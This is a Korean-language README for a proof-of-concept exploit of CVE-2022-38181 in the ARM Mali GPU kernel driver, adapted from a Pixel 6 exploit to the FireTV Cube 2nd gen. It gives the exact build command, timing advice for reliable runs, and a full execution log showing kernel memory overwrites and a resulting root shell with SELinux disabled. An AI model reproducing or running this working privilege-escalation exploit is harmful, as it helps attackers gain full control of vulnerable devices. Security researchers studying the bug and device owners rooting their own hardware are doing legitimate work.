
CVE-2022-38181 POC for FireTV 2nd gen Cube (raven)
이 프로젝트는 보안 연구원 Man Yue Mo의 Pixel 6 POC for CVE_2022_38181를 포크한 것입니다. 취약점에 대한 자세한 분석은 여기에서 확인할 수 있습니다. FireOS의 32비트 사용자 공간과 2세대 Cube의 구형 Bifrost 드라이버(r16p0) 및 Linux 커널(4.9.113) 버전을 반영하여 변경되었습니다. 이 POC는 ARM Mali 커널 드라이버의 버그를 악용하여 임의의 커널 코드 실행을 달성한 후 SELinux를 비활성화하고 루트 권한을 획득합니다.
다음 명령어를 사용하여 ndk-21에서 clang으로 컴파일했습니다:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
최고의 안정성을 위해 Cube 부팅 후 30~90초 내에 익스플로잇을 실행해야 합니다.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #